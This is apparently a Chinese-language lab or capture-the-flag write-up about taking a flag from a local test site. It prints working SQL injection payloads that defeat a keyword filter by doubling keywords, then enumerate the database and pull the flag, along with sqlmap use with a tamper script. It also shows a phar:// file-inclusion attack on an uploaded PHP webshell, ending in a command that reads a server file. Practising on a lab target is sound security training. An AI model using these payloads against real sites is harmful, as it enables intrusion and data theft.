获取网站flag
Abstract: 利用 SQL 注入、文件上传、文件包含及 PHP 伪协议获取 flag。
Table of Contents
代码审计
SQL 注入
寻找网页里可能与数据库进行交互的地方,由于系统比较简单,所以很容易定位到朋友圈功能。

输入老李,观察结果。

输入数字1,观察结果。

可以看出来,如果数据库里没有该好友,程序会提示找不到。尝试使用非法字符,输入 老李'#,观察结果。

用 order by 确定字段个数,输入 老李' order by 10,观察结果。

说明程序对敏感字符做个处理。多次尝试后发现,对 or 和 order 都进行了处理, 很难再使用 order by 语句。进行 union select 尝试。发现对 union 和 select 进行了过滤,使用双拼绕过。输入 1' uniunionon selselectect 1,2,3#进行尝试。

说明字段数不符合,继续增大字段数。

当输入 1' uniunionon selselectect 1,2,3,4# 时,可以正常读出数据。
手工注入
使用
1  | 1' uniunionon seleselectct 1,(selselectect database()),3,4#  | 
确定当前数据库。

使用
1  | 1' uniunionon seleselectct 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables where table_schema=database()),3,4#  | 
读取当前数据库中的表。

使用
1  | 1' uniunionon seleselectct 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns where table_schema=database() aandnd table_name='person_key'),3,4#  | 
读取表 person_key 中的字段。

使用
1  | 1' uniunionon seleselectct 1,(selselectect flag frfromom friends.person_key),3,4#  | 
读取 flag。

sqlmap 注入
NOTE: 对 sqlmap 自定义注入点掌握的不熟练,但通过这个例子总结出一个步骤:先用手动注入发现点,然后把手动填写的要查询的 sql 语句用 * 代替即可。
1  | 1' uniunionon seleselectct 1,(selselectect database()/* 这里就可以写*号 */),3,4 #  | 
这里要注意使用 --tamper 命令绕过关键字符的过滤。nonrecursivereplacement.py的作用就是双拼绕过 WAF。先用 burpsuite 抓取数据包。

保存到 220.txt。然后打开 sqlmap 。
1  | sqlmap -r C:\Users\usr\Desktop\220.txt --tamper nonrecursivereplacement.py  | 


1  | #获取数据库  | 

1  | #获取当前数据库的表  | 

1  | #获取当前数据库中表person_key的字段名  | 

1  | #获取当前数据库中表person_key的字段名  | 

不知道什么原因,无法 dump 数据。
文件上传和文件包含漏洞测试
打开公司档案馆,观察页面。

在新标签页中打开档案1号,观察网址构成。
1  | # 原网址  | 
发现页面正常显示。

由此可判断出,可能存在文件包含漏洞。
1  | http://192.168.11.220/archives.php?archive=./demo.php  | 

在 个人档案 上传 10.zip 文件,里面有如下文件。

2.php
1  | // 一句话木马  | 
5.php
1  | // 主要用于显示,看能否解析 .php 文件  | 
上传成功后。

在浏览器中输入
1  | http://192.168.11.220/archives.php?archive=phar://./upload/10.zip/5.php  | 

发现 .php 是可以解析的。
之后用菜刀和蚁剑连接如下网址,
1  | http://192.168.11.220/archives.php?archive=phar://./upload/10.zip/2.php  | 
发现连接不上。但是 2.php 是可以解析的,以 POST 方式 cmd=echo(123); ,网页上显示 123。

既然连不上,那我们就直接用 php 函数读取文件把文件显示出来。
1  | cmd=echo htmlentities(file_get_contents("/var/www/html/flag_toifsef997388003.php"));  | 

该方法的缺点是要知道该文件的具体路径,没有菜刀和蚁剑方便。
问题与总结
SQL注入相关的知识有些遗忘,用起来不熟练。对sqlmap的使用没有得心应手,先是手动注入完成以后,多次尝试使用sqlmap才跑出来,但最后的具体数据没有dump下来。本次使用的是UNION联合查询,按理说也可以使用自定义时间盲注测试点用sqlmap抓数据,但尝试多次没有成功,有时间了还得再看看。- 菜刀蚁剑没有成功连接,得想办法尝试绕过检测,直接上传 
.php文件,这样用工具连接可能会成功。